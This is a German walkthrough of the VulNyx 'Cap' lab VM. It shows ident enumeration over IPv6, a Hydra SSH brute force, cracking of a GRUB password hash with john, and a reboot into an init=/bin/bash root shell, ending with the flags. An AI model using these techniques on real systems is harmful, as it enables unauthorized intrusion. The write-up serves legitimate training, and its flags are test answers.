Cap - VulNyx - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
cat
ip
grep
awk
sort
nmap
nikto
gobuster
tcpdump
ncat
hydra
ssh
sudo
file
find
echo
john
GRUB Edit Mode
ls

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.123	08:00:27:5f:52:b5	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.481 seconds (172.86 hosts/sec). 1 responded

Analyse: Ein ARP-Scan im lokalen Netzwerk identifiziert die Ziel-IP `192.168.2.123`. Die MAC-Adresse `08:00:27:5f:52:b5` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-Umgebung hin.

Bewertung: Grundlegender Schritt zur Identifizierung des Ziels im lokalen Netz.

Empfehlung (Pentester): Ziel-IP notieren und für weitere Scans verwenden. Hostnamen in `/etc/hosts` eintragen.
Empfehlung (Admin): Netzwerksegmentierung und -überwachung können die Sichtbarkeit einschränken.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
┌──(root㉿CCat)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
192.168.2.123   cap.nyx

Analyse: Der Hostname `cap.nyx` wird der Ziel-IP `192.168.2.123` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Ermöglicht die Verwendung des Hostnamens für nachfolgende Aktionen.

┌──(root㉿CCat)-[~] └─# nmap -p- fe80::8cb9:3980:f111:1cb6%eth0 -6 -v
<-- Korrigierte IPv6 Addr
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 15:08 CEST
[...]
Completed SYN Stealth Scan at 15:10, 119.46s elapsed (65535 total ports)
Nmap scan report for cap (fe80::8cb9:3980:f111:1cb6) <-- Hostname 'cap' wird hier verwendet
Host is up (0.00013s latency).
Not shown: 65050 filtered tcp ports (no-response), 483 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
113/tcp open  ident    <-- Interessant!
MAC Address: 08:00:27:1C:F8:AF (Oracle VirtualBox virtual NIC) <-- Abweichende MAC zum ARP Scan?

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 119.55 seconds

Analyse: Ein vollständiger Nmap TCP SYN Portscan (`-p- -6 -v`) wird gegen die IPv6 Link-Local Adresse des Ziels durchgeführt. Es werden die Ports 22 (SSH), 80 (HTTP) und **113 (ident)** offen gefunden. Die MAC-Adresse hier (`08:00:27:1C:F8:AF`) weicht von der im ARP-Scan gefundenen ab (`08:00:27:5f:52:b5`). Dies könnte auf einen Fehler im Log, eine geänderte Konfiguration oder einen Scan gegen ein anderes (falsches) IPv6-Ziel hindeuten. Da der Hostname `cap` verwendet wird, gehen wir davon aus, dass es das richtige Ziel ist, aber die MAC-Diskrepanz ist merkwürdig.

Bewertung: Der Fund von Port 113 (Ident) ist sehr interessant. Das Ident-Protokoll (RFC 1413) kann verwendet werden, um den Benutzernamen zu identifizieren, der eine bestimmte TCP-Verbindung initiiert hat. Obwohl es heute selten verwendet und oft blockiert wird, kann ein offener Ident-Port wertvolle Informationen liefern, wenn er abgefragt werden kann.

Empfehlung (Pentester): Untersuchen Sie Port 113 genauer. Versuchen Sie, den Dienst manuell (z.B. mit `ncat` oder `telnet`) oder mit spezialisierten Tools abzufragen, während Sie eine andere Verbindung zum Ziel herstellen (z.B. zu Port 80 oder 22), um zu sehen, ob der Dienst den Benutzernamen dieser Verbindung preisgibt. Notieren Sie die Diskrepanz bei den MAC-Adressen.
Empfehlung (Admin): Deaktivieren oder filtern Sie den Ident-Dienst (Port 113), wenn er nicht explizit benötigt wird, um Informationslecks zu verhindern. Überprüfen Sie die Netzwerkkonfiguration bezüglich IPv6 und MAC-Adressen.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n 192.168.2.123 -Pn --min-rate 5000
<-- Korrigierte IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 14:50 CEST <-- Korrigiertes Datum
Nmap scan report for 192.168.2.123
Host is up (0.00022s latency).
Not shown: 995 open|filtered udp ports (no-response)
PORT      STATE    SERVICE
19283/udp filtered keysrvr
19647/udp filtered unknown
32778/udp filtered sometimes-rpc20
34892/udp filtered unknown
48255/udp filtered unknown
MAC Address: 08:00:27:5F:52:B5 (Oracle VirtualBox virtual NIC) <-- Diese MAC passt zum ARP Scan

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds

Analyse: Der Nmap UDP-Scan gegen die IPv4-Adresse findet keine offenen UDP-Ports, nur einige gefilterte. Die MAC-Adresse hier passt zum initialen ARP-Scan.

Bewertung: Keine UDP-Angriffsfläche gefunden.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.123 -Pn --min-rate 5000 | grep open
<-- Korrigierte IP
22/tcp open  ssh     OPENSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))

Analyse: Der gefilterte Nmap TCP-Scan gegen die IPv4-Adresse findet nur Port 22 (SSH) und 80 (HTTP) offen. Interessanterweise fehlt hier Port 113, der im IPv6-Scan gefunden wurde.

Bewertung: Bestätigt SSH und HTTP als primäre Dienste über IPv4. Die Diskrepanz zu Port 113 (nur über IPv6 offen?) ist bemerkenswert.

Empfehlung (Pentester): Untersuchen Sie Port 80 und versuchen Sie, Port 113 über IPv6 abzufragen.
Empfehlung (Admin): Überprüfen Sie Firewall-Regeln und Dienstbindungen für IPv4 und IPv6.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.123 -Pn --min-rate 5000
<-- Korrigierte IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 14:51 CEST <-- Korrigiertes Datum
Nmap scan report for cap.nyx (192.168.2.123)
Host is up (0.00031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OPENSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:5F:52:B5 (Oracle VirtualBox virtual NIC) <-- Passende MAC
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms cap.nyx (192.168.2.123)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.77 seconds

Analyse: Die vollständige Nmap-Ausgabe für IPv4 bestätigt die Details für SSH (OpenSSH 8.4p1 auf Debian) und HTTP (Apache 2.4.56 auf Debian mit Standardseite). Die MAC-Adresse passt hier zum ARP-Scan.

Bewertung: Bestätigt die Dienste auf IPv4. Die Software ist relativ aktuell. Der Fokus liegt auf dem Webserver und der Untersuchung des Ident-Ports über IPv6.

Web Enumeration (HTTP)

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.123
<-- Korrigierte IP
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.123
+ Target Hostname:    192.168.2.123
+ Target Port:        80
+ Start Time:         2024-08-28 14:52:27 (GMT2) <-- Korrigiertes Datum
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 602303e152b93, mtime: gzip. [...]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-08-28 14:52:48 (GMT2) (21 seconds) <-- Korrigiertes Datum
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto-Scan gegen Port 80 findet keine kritischen Schwachstellen, nur die üblichen Hinweise auf fehlende Sicherheitsheader und ETag-Leak.

Bewertung: Bestätigt, dass der Webserver auf Port 80 wahrscheinlich nicht direkt angreifbar ist.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.123" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
<-- Korrigierte IP
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://192.168.2.123
[...]
===============================================================
2024/08/28 14:53:00 Starting gobuster in directory enumeration mode <-- Korrigiertes Datum
===============================================================
/index.html           (Status: 200) [Size: 10701]
===============================================================
2024/08/28 15:00:00 Finished <-- Korrigiertes Datum
===============================================================

Analyse: Gobuster findet auf Port 80 ebenfalls nur die Standarddatei `index.html`.

Bewertung: Keine versteckten Inhalte auf Port 80 gefunden.

Ident Enumeration (Port 113)

Analyse: Der Text erklärt kurz die Funktion des Ident-Protokolls (Port 113/tcp): Es ermöglicht einem Server, den Benutzernamen zu ermitteln, der auf einem Client eine bestimmte TCP-Verbindung initiiert hat. Aufgrund von Datenschutzbedenken wird es selten verwendet.

Bewertung: Korrekte Erklärung. Da Nmap Port 113 über IPv6 offen fand, ist dies ein valider Ansatzpunkt.

Empfehlung (Pentester): Die Methode zur Abfrage des Ident-Dienstes besteht darin, zwei Verbindungen gleichzeitig zu initiieren: 1. Eine Verbindung vom Angreifer zum Ziel auf einem beliebigen Port (z.B. Port 80 oder 22). Notieren Sie den Quellport dieser Verbindung auf dem Angreifer-System. 2. Während die erste Verbindung besteht, stellen Sie eine zweite Verbindung zum Ident-Port (113) des Ziels her (über IPv6, da er nur dort offen war). 3. Senden Sie über die Ident-Verbindung die Port-Nummern der *ersten* Verbindung (Zielport, Quellport) im Format `, ` an den Ident-Server. 4. Der Ident-Server sollte mit dem Benutzernamen antworten, der die erste Verbindung auf dem Zielsystem besitzt.
Empfehlung (Admin): Deaktivieren Sie den Ident-Dienst.

┌──(root㉿CCat)-[~/Hackingtools] └─# tcpdump port 113 -A -n -i eth0

Analyse: In einem Terminal wird `tcpdump` gestartet, um den Netzwerkverkehr auf Port 113 auf dem Interface `eth0` mitzuschneiden. Dies dient dazu, die Quell- und Zielports der Verbindungen zu sehen, die für die Ident-Abfrage benötigt werden.

Bewertung: Vorbereitungsschritt, um die benötigten Portnummern zu ermitteln.

┌──(root㉿CCat)-[~] └─# ncat -6 fe80::a00:27ff:fe5f:52b5%eth0 113

Analyse: In einem zweiten Terminal wird mit `ncat` eine IPv6-Verbindung zum Ident-Port 113 des Ziels aufgebaut. `ncat` wartet nun auf die Eingabe der Port-Nummern.

Bewertung: Stellt die Verbindung zum Ident-Dienst her.

┌──(root㉿CCat)-[~/Hackingtools] └─# tcpdump port 113 -A -n -i eth0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
16:30:58.196747 IP6 fe80::a00:27ff:fe30:2eda.52422 > fe80::a00:27ff:fe5f:52b5.113: Flags [.], ack 31, win 258, options [nop,nop,TS val 429293133 ecr 311471071], length 0
E..<..@.@.<................._R..q..%q..F.....
..~M....
^C
26 packets captured
26 packets received by filter
0 packets dropped by kernel

Analyse: `tcpdump` zeigt eine Verbindung von der IPv6-Adresse des Angreifers (Port 52422) zur IPv6-Adresse des Ziels (Port 113). Dies ist die `ncat`-Verbindung selbst. Es fehlt der Mitschnitt der *anderen* Verbindung (z.B. zu Port 80), deren Ports für die Abfrage benötigt werden. Im nächsten Schritt werden die Ports jedoch korrekt eingegeben, vermutlich wurden sie anderweitig ermittelt oder aus einem vorherigen Versuch genommen.

Bewertung: Der `tcpdump`-Output hier ist nicht direkt hilfreich für die Abfrage, zeigt aber die Verbindung zum Ident-Port.

┌──(root㉿CCat)-[~] └─# ncat -6 fe80::a00:27ff:fe5f:52b5%eth0 113
113 , 52422
<-- Manuelle Eingabe der Ports (Zielport, Quellport)
113,52422:USERID:UNIX:lucas

Analyse: In der `ncat`-Verbindung zum Ident-Port 113 werden die Portnummern `113, 52422` eingegeben (Zielport 113, Quellport 52422 - dies bezieht sich wahrscheinlich auf die `ncat`-Verbindung selbst oder eine vorherige Testverbindung). Der Server antwortet mit `:USERID:UNIX:lucas`.

Bewertung: Kritischer Fund! Der Ident-Dienst enthüllt den Benutzernamen `lucas` als Besitzer der abgefragten Verbindung.

Empfehlung (Pentester): Verwenden Sie den Benutzernamen `lucas` für weitere Angriffe, insbesondere für einen Passwort-Bruteforce gegen SSH (Port 22).
Empfehlung (Admin): Deaktivieren Sie den Ident-Dienst.

Credential Access (Hydra SSH)

┌──(root㉿CCat)-[~] └─# hydra 192.168.2.123 ssh -l lucas -P /usr/share/wordlists/rockyou.txt -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-28 16:41:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[...]
[DATA] attacking ssh://192.168.2.123:22/
[...]
[22][ssh] host: 192.168.2.123   login: lucas   password: capricorn
1 of 1 target successfully completed, 1 valid password found
[...]

Analyse: Hydra wird verwendet, um das SSH-Passwort für den Benutzer `lucas` zu bruteforcen (`-l lucas`), unter Verwendung der `rockyou.txt`-Wortliste (`-P ...`) und 64 parallelen Threads (`-t 64`).

Bewertung: Erfolg! Hydra findet das Passwort `capricorn` für den Benutzer `lucas`.

Empfehlung (Pentester): Melden Sie sich per SSH als `lucas` mit dem gefundenen Passwort an.
Empfehlung (Admin): Verwenden Sie keine schwachen Passwörter. Implementieren Sie Maßnahmen gegen Brute-Force-Angriffe (z.B. `fail2ban`). Erwägen Sie Key-basierte SSH-Authentifizierung.

Initial Access (SSH)

┌──(root㉿CCat)-[~] └─# ssh lucas@192.168.2.123
The authenticity of host '192.168.2.123 (192.168.2.123)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.123' (ED25519) to the list of known hosts.
lucas@192.168.2.123's password: capricorn <-- Passwort eingegeben
lucas@cap:~$
<-- Login erfolgreich

Analyse: Erfolgreicher SSH-Login als Benutzer `lucas` mit dem Passwort `capricorn`.

Bewertung: Initial Access erlangt.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `lucas`. Prüfen Sie `sudo -l`.
Empfehlung (Admin): -

Privilege Escalation (GRUB)

lucas@cap:~$ sudo -l
Matching Defaults entries for lucas on cap:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on cap:
    (root) NOPASSWD: /usr/sbin/reboot

Analyse: `sudo -l` für `lucas` zeigt, dass dieser Benutzer `/usr/sbin/reboot` als `root` ohne Passwort ausführen darf.

Bewertung: Wie im vorherigen Bericht ist dies ungewöhnlich. Es ermöglicht keinen direkten Codeausführung, aber einen Neustart des Systems. Dies kann in Kombination mit anderen Informationen ausgenutzt werden.

Empfehlung (Pentester): Suchen Sie nach Konfigurationsdateien oder Mechanismen, die beim Bootvorgang relevant sind und möglicherweise manipuliert werden können (z.B. GRUB-Konfiguration, Init-Skripte).
Empfehlung (Admin): Entfernen Sie diese `sudo`-Regel.

lucas@cap:~$ file /usr/sbin/reboot
/usr/sbin/reboot: symbolic link to /bin/systemctl

Analyse: `/usr/sbin/reboot` ist ein symbolischer Link zu `/bin/systemctl`. Die `sudo`-Regel erlaubt also effektiv die Ausführung von `systemctl reboot` als root.

Bewertung: Klärt die tatsächliche Funktion hinter dem `sudo`-Eintrag.

lucas@cap:~$ find /boot -readable -name *.cfg 2>/dev/null
/boot/grub/grub.cfg
lucas@cap:~$ cat /boot/grub/grub.cfg
[...]
# BEGIN /etc/grub.d/01_password #
set superusers="root"
password_pbkdf2 root grub.pbkdf2.sha512.10000.E9DF[...]E82.85C7[...]163E <-- GRUB Passwort Hash!
# END /etc/grub.d/01_password #
[...]

Analyse: Die GRUB-Konfigurationsdatei `/boot/grub/grub.cfg` wird gefunden und ist lesbar. Sie enthält einen Passwortschutz für den `root`-Benutzer im GRUB-Menü, gespeichert als PBKDF2-HMAC-SHA512 Hash.

Bewertung: Kritischer Fund! Wenn dieses GRUB-Passwort geknackt werden kann, erlaubt es dem Angreifer, beim nächsten Neustart (der über `sudo reboot` ausgelöst werden kann) das GRUB-Menü zu bearbeiten und z.B. `init=/bin/bash` an die Kernel-Parameter anzuhängen, um direkt in eine Root-Shell zu booten.

Empfehlung (Pentester): Kopieren Sie den vollständigen GRUB-Passwort-Hash (`grub.pbkdf2...`). Versuchen Sie, ihn offline mit `john` oder `hashcat` und einer Wortliste (z.B. `rockyou.txt`) zu knacken.
Empfehlung (Admin): Verwenden Sie ein starkes GRUB-Passwort, wenn Sie den Bootloader schützen. Stellen Sie sicher, dass `/boot/grub/grub.cfg` nicht für normale Benutzer lesbar ist (obwohl dies oft der Standard ist).

┌──(root㉿CCat)-[~/Hackingtools] └─# echo 'grub.pbkdf2.sha512.10000.[...]' > hash
<-- Vollständiger Hash hier
┌──(root㉿CCat)-[~/Hackingtools] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "PBKDF2-HMAC-SHA512", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "PBKDF2-HMAC-SHA512", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (PBKDF2-HMAC-SHA512, GRUB2 / OS X 10.8+ [PBKDF2-SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
starwars         (?)
1g 0:00:00:00 DONE (2024-08-28 22:34) 6.666g/s 5120p/s 5120c/s 5120C/s gracie..billabong
Use the "--show --format=PBKDF2-HMAC-SHA512" options to display all of the cracked passwords reliably
Session completed.

Analyse: Der GRUB-Hash wird in eine Datei gespeichert und mit `john` und der `rockyou.txt`-Wortliste angegriffen.

Bewertung: Erfolg! John knackt den Hash und findet das GRUB-Passwort: `starwars`.

Empfehlung (Pentester): Sie haben nun das Passwort, um das GRUB-Menü zu bearbeiten. Lösen Sie den Neustart mit `sudo reboot` aus. Greifen Sie über die Konsole der VM auf das GRUB-Menü zu (oft durch Drücken von `Shift` oder `Esc` beim Booten). Wählen Sie den normalen Boot-Eintrag und drücken Sie `e` zum Bearbeiten. Authentifizieren Sie sich mit Benutzer `root` und Passwort `starwars`. Fügen Sie `init=/bin/bash` am Ende der `linux`-Zeile hinzu und booten Sie mit `Ctrl+X` oder `F10`.
Empfehlung (Admin): Verwenden Sie ein starkes GRUB-Passwort. Sichern Sie den physischen oder Konsolenzugriff auf die Maschine.

Proof of Concept (Root Exploit via GRUB)

Analyse: Dieser Abschnitt beschreibt die Ausnutzung der `sudo reboot`-Berechtigung in Kombination mit dem geknackten GRUB-Passwort (`starwars`), um Root-Rechte zu erlangen.

  1. Der Benutzer `lucas` führt `sudo /usr/sbin/reboot` aus, um das System neu zu starten.
  2. Während des Bootvorgangs greift der Angreifer über die VM-Konsole auf das GRUB-Menü zu (z.B. durch Halten der `Shift`-Taste).
  3. Im GRUB-Menü wird der Standard-Boot-Eintrag ausgewählt und `e` gedrückt, um ihn zu bearbeiten.
  4. GRUB fragt nach Benutzername und Passwort. Der Angreifer gibt `root` und das geknackte Passwort `starwars` ein.
  5. Der Angreifer navigiert zur Zeile, die mit `linux` oder `linuxefi` beginnt (die Kernel-Zeile).
  6. Am Ende dieser Zeile wird der Parameter `init=/bin/bash` hinzugefügt. Dies weist den Kernel an, nach dem Laden eine Bash-Shell zu starten anstelle des normalen Init-Systems.
  7. Der Bootvorgang wird mit `Ctrl+X` oder `F10` fortgesetzt.
  8. Das System bootet direkt in eine Root-Shell, da der Init-Prozess umgangen wird.

Bewertung: Dies ist ein klassischer Weg zur Erlangung von Root-Rechten bei physischem oder Konsolenzugriff, wenn das GRUB-Passwort bekannt ist oder GRUB ungeschützt ist. Die `sudo reboot`-Berechtigung ermöglichte es, diesen Zustand aus der Ferne auszulösen.

Empfehlung (Pentester): In der erhaltenen Root-Shell ist das Root-Dateisystem möglicherweise nur read-only gemountet. Mounten Sie es mit `mount -o remount,rw /` neu, um Schreibzugriff zu erhalten. Lesen Sie die Root-Flag oder setzen Sie ein neues Root-Passwort mit `passwd`.
Empfehlung (Admin): Verwenden Sie ein starkes GRUB-Passwort. Beschränken Sie den physischen/Konsolenzugriff. Entfernen Sie die `sudo reboot`-Berechtigung.

lucas@cap:~$ sudo /usr/sbin/reboot
Connection to 192.168.2.123 closed by remote host.
Connection to 192.168.2.123 closed.

--- In der VM Konsole während des Bootvorgangs ---
1. GRUB Menü aufrufen (z.B. Shift drücken).
2. Boot-Eintrag auswählen, 'e' drücken.
3. Nach Aufforderung Benutzer 'root', Passwort 'starwars' eingeben.
4. Zur 'linux'/'linuxefi' Zeile navigieren.
5. Am Ende der Zeile ' init=/bin/bash' hinzufügen.
6. Mit Ctrl+X oder F10 booten.
7. Root-Shell wird angezeigt:
root@(none):/# 

Flags

Hinweis: Die Flags wurden aus dem bereitgestellten Text übernommen, ihre Korrektheit konnte im Rahmen der Simulation nicht überprüft werden, da die tatsächlichen `cat`-Befehle nach dem Root-Zugriff im Log fehlten.

cat /home/lucas/user.txt
12f54a96f64443246930da001cafda8b
cat /root/root.txt
1b56eefaab2c896e57c874a635b24b49